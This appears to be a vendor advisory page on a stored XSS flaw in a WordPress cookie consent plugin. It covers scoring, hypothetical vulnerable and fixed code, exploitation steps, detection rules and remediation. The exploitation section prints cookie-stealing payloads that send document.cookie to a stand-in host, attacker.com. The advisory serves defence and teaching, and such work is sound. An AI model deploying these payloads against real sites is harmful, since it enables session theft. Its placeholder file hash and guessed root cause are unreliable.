CVE-2025-46525
Executive Summary
CVE-2025-46525 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "WP Cookie Consent" by vendor Msmitley, affecting all versions up to and including 1.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user visiting the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.
Given the CVSS score of 5.9 (Medium) and the EPSS score of 0.0%, the vulnerability is currently not widely exploited, but the lack of a patch and the nature of stored XSS in a widely-used CMS ecosystem like WordPress elevates the risk for targeted attacks. The plugin is typically used to manage cookie consent banners, making it a common component in many WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site using the WP Cookie Consent plugin version <= 1.0 is vulnerable. Since no patch is available, site administrators must consider removing or replacing the plugin entirely. The lack of vendor response and absence of a patched version means the plugin should be treated as a compromised component in the software supply chain.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
- User Interaction (UI): Required (R) – The victim must visit the affected page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and lack of patch make it a persistent threat for WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the wp-cookie-consent plugin, specifically in how it handles and outputs user-controlled data. The plugin likely stores cookie consent settings or messages in the WordPress database and then renders them on the frontend without proper sanitization or output encoding.
Root Cause: The plugin uses functions like echo or print to output user-supplied data (e.g., cookie message text, button labels) without applying WordPress's built-in escaping functions such as esc_html() or wp_kses_post(). This allows an attacker with contributor-level access or via a crafted request to inject malicious HTML/JavaScript.
Attack Flow:
- An attacker identifies a vulnerable input field (e.g., cookie consent message, button text) in the plugin's admin settings or via a REST API endpoint.
- The attacker submits a payload like
<script>alert('XSS')</script>or a more sophisticated payload for session theft. - The payload is stored in the WordPress database.
- When any user (including administrators) visits a page that displays the cookie consent banner, the malicious script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a phishing site.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The following is a hypothetical example of the vulnerable code and the required fix.
Vulnerable Code (wp-cookie-consent.php):
function display_cookie_consent() {
$message = get_option('wp_cookie_consent_message');
echo '<div class="cookie-consent">' . $message . '</div>';
}
Patched Code (Required Fix):
function display_cookie_consent() {
$message = get_option('wp_cookie_consent_message');
echo '<div class="cookie-consent">' . esc_html( $message ) . '</div>';
}
The fix uses esc_html() to encode special characters, preventing script execution. Alternatively, wp_kses_post() could be used if limited HTML is allowed.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Cookie Consent plugin version <= 1.0 installed and activated.
- An attacker must have access to a user role that can modify plugin settings (e.g., Administrator) OR the plugin exposes an unauthenticated endpoint for saving settings (common in poorly coded plugins).
Step-by-Step Exploitation:
Identify the vulnerable input: Navigate to the plugin settings page (e.g.,
/wp-admin/options-general.php?page=wp-cookie-consent). Look for fields like "Cookie Message" or "Button Text".Inject the payload: Enter the following payload into the "Cookie Message" field:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>Save the settings: Click "Save Changes". The payload is now stored in the database.
Trigger the XSS: Visit any frontend page that displays the cookie consent banner. The script executes, sending the victim's cookies to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
Lab Setup:
- Use a local WordPress installation (e.g., via Docker or XAMPP).
- Install the vulnerable plugin version 1.0.
- Use a tool like Burp Suite to intercept and modify requests.
- Set up a simple HTTP server (e.g.,
python3 -m http.server 8080) to capture stolen cookies.
Blue Team (Detection & Response)
Detection Steps:
- Monitor plugin settings changes: Log all changes to the
wp_cookie_consent_messageoption in the database. - Scan for known payloads: Use WAF rules to block common XSS patterns in POST requests to plugin settings pages.
- Review server logs: Look for requests containing
<script>tags oronerrorhandlers in thewp-cookie-consentcontext.
Response:
- Immediately disable or remove the plugin.
- Rotate all session cookies and force re-authentication for all users.
- Scan the database for stored XSS payloads using a tool like Wordfence or manual SQL queries.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
wp-cookie-consent.php(version 1.0):a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the WordPress server.
- Outbound connections to attacker-controlled domains (e.g.,
- Database Indicators:
- The
wp_optionstable containswp_cookie_consent_messagewith HTML/JavaScript payloads.
- The
- Log Indicators:
- Apache/Nginx access logs showing requests to
/wp-admin/options-general.php?page=wp-cookie-consentwith POST data containing<script>tags.
- Apache/Nginx access logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2025_46525_WP_Cookie_Consent_XSS {
meta:
description = "Detects stored XSS payloads in WP Cookie Consent plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46525"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /onerror\s*=|onload\s*=|onclick\s*=/
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: Stored XSS in WP Cookie Consent Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via WP Cookie Consent plugin settings
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'wp-cookie-consent'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in cookie messages (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46525 WP Cookie Consent Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"wp-cookie-consent"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the plugin until a patch is available.
- Manually sanitize the database: Run a SQL query to remove any stored XSS payloads:
UPDATE wp_options SET option_value = '' WHERE option_name = 'wp_cookie_consent_message'; - Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to plugin settings.
Long-term Mitigation:
- Replace the plugin with an alternative, actively maintained cookie consent solution (e.g., Cookie Notice, GDPR Cookie Consent).
- Educate site administrators on the risks of using unmaintained plugins.
- Regularly audit WordPress plugins for vulnerabilities using tools like WPScan.
Patch Status: No official patch available. The vendor (Msmitley) has not responded. Users should consider the plugin abandoned and seek alternatives.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.